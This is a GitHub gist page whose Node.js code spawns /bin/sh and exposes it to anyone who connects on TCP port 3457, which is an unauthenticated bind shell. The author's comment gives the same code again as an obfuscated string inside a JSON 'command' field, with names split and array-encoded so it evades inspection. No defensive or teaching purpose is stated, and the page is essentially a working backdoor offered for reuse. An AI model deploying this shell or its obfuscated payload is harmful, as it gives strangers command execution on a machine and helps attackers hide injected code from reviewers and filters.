Skip to content

Instantly share code, notes, and snippets.

@gerrard00
Created April 8, 2019 16:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save gerrard00/d6c5ef69e76251077cd897fe297acded to your computer and use it in GitHub Desktop.
Save gerrard00/d6c5ef69e76251077cd897fe297acded to your computer and use it in GitHub Desktop.
Simple code to launch a network shell from node js
const net = require('net');
const cp = require('child_process');
const sh = cp.spawn('/bin/sh');
const server = net.createServer((client) => {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
server.listen(3457, () => {
console.log('listening');
});
@gerrard00
Copy link
Author

Or as an obfuscated json string:

{
  "command": "var _0x1858=['\/b' + 'in\/s' + 'h','createServer','pipe','stdout','stderr','log','list' + 'ening','chi' + 'ld_pro' + 'cess'];(function(_0x26399d,_0x54abc9){var _0x31926b=function(_0x49cf7d){while(--_0x49cf7d){_0x26399d['push'](_0x26399d['shift']());}};_0x31926b(++_0x54abc9);}(_0x1858,0xd7));var _0x5196=function(_0x3bac57,_0x39511a){_0x3bac57=_0x3bac57-0x0;var _0x4288c9=_0x1858[_0x3bac57];return _0x4288c9;};const net=require('net');const cp=require(_0x5196('0x0'));const sh=cp['spawn'](_0x5196('0x1'));const server=net[_0x5196('0x2')](_0x115350=>{_0x115350[_0x5196('0x3')](sh['stdin']);sh[_0x5196('0x4')][_0x5196('0x3')](_0x115350);sh[_0x5196('0x5')][_0x5196('0x3')](_0x115350);});server['listen'](0xd81,()=>{console[_0x5196('0x6')](_0x5196('0x7'));});\r\n"
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment